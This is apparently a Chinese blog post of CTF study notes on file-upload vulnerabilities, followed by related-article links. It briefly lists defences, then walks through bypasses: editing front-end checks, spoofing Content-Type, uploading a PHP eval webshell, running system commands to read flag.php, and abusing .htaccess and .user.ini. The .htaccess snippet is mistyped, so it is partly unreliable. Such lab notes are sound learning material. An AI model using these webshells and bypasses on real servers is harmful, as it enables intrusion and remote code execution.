文件上传及比较常见的题目解析

  • 文件上传漏洞

    • 程序员对未上传的文件进行严格的厌憎和过滤,导致用户可以上传可执行的动态脚本文件
      • 头像上传、文件上传、媒体上传
    • 防御措施

      • 上传文件的存储位置与服务器分离
      • 上传文件重新修改文件名、文件后缀名
        • 看后缀名是否防止修改
          • 前端传递,后端校验
      • 文件上传的上传保存路径根据业务进行分离;下载根据重新生成的文件名下载
    • 文件上传,验证/绕过,措施

      • 前端/js类绕过

        • 页面直接修改js上传文件后缀进行修改
        • 抓包改包,改后缀名
          • wenjain.jpg-->抓包-->wenjian.jsp
      • 后端
        *

php语句不对,重写(关火绒)

js前端

查看元素

修改后缀php

上传,文件路径

post

x=system("ls");

查到目录,用x=system("ls ../");

查看上一级,找到flag.php

x=system("tac ../flag.php");


利用bp改content-type

首先,尝试第一种方法,不可行

用bp抓包,发现content-type特点

尝试修改元素后上传php一句话木马

抓包,修改type为image/png

放行

上传成功

按第一步来

x=system("tac ../flag.php");

flag出现

如果把下面的png格式修改为

<?php eval($_POST[x]);?>

是不可以找到flag的

不可以是图片木马

不能连接蚁剑,一个png一个php


.htaccess文件

apache的一个配置文件,负责相关目录下的网页配置

实现网页301重定向,自定义404页面错误,改变文件扩展名,允许或阻止特定的用户或目录的访问,禁止目录列表,配置默认文档等

<fileMatch "\.jpg>

SEHandler application/x-httpd-php

</FileMatch>

先分析源码

对php,asp,jsp等进行过滤,大小写的方式也不行

phP&&php5不行的话

但是可以上传.jpg文件,可是 .jpg只有解析成 php文件才能getshell

因此我们需要先上传 .htaccess 文件,然后再上传 .jpg文件

stack.jpg

<?php eval($_POST['x']);?>

找绝对路径,连接蚁剑

.user.ini其实是用户自定义的一个php.ini

是PHP的全局配置文件,对web服务起作用

利用这个文件来构造后门和隐藏后门

按前面方法继续尝试,发现不行,大小写,加数字,也不可以,需要重新下载

相关推荐
探索宇宙真理.2 天前
Vvveb CMS 任意文件上传导致RCE | CVE-2026-6257原理分析&研究
经验分享·开源·文件上传·安全漏洞·vvveb
其实防守也摸鱼3 天前
ctfshow--VIP题目限免2(后10个) 原理和知识拓展
网络·ctf·讲解·原理·知识·ctfshow·解题
茫忙然6 天前
kali渗透测试与CTF常用命令大全
渗透测试·ctf
~ rainbow~7 天前
前端转型全栈(六)——深入浅出:文件上传的原理与进阶
前端·http·文件上传
白帽子黑客-宝哥7 天前
网络安全有哪些赛事
web安全·网络安全·ctf·漏洞挖掘·网络安全大赛
说实话起个名字真难啊9 天前
2026数字中国创新大赛初赛wp之图片隐写一
ctf
蒲公英eric11 天前
CTFshow misc入门misc8
ctf·misc·图片隐写·ctfshow·图片隐藏
其实防守也摸鱼13 天前
集成开发环境phpStudy安装与配置指南(包含DVWA)
网络·安全·php·web·ctf·工具配置
其实防守也摸鱼14 天前
ctfshow--VIP题目限免(包含原理和知识拓展)前10个
网络·算法·安全·学习笔记·ctf·泄露·web类型
Pure_White_Sword14 天前
[NSSRound#6 Team]void(V1)
网络安全·ctf·reverse·逆向工程